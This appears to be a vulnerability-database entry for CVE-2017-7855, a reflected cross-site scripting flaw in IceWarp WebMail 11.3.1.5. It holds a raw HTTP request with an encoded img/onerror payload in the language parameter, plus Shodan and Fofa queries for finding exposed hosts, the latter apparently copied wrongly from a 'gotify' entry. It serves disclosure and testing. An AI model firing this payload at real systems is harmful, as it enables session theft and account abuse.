| Title | IceWarp WebMail 11.3.1.5 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Apply the latest security patch or upgrade to a non-vulnerable version of IceWarp WebMail. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00545 |
| CVE ID | CVE-2017-7855 |
| CWE ID | CWE-79 |
| Shodan Query | title:"icewarp"http.title:"gotify" |
| Fofa Query | title="gotify" |
| Tags | cve cve2017 xss icewarp vuln |
IceWarp WebMail 11.3.1.5 is vulnerable to cross-site scripting via the language parameter.
GET /webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-7855.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-7855.pcap
N/AN/A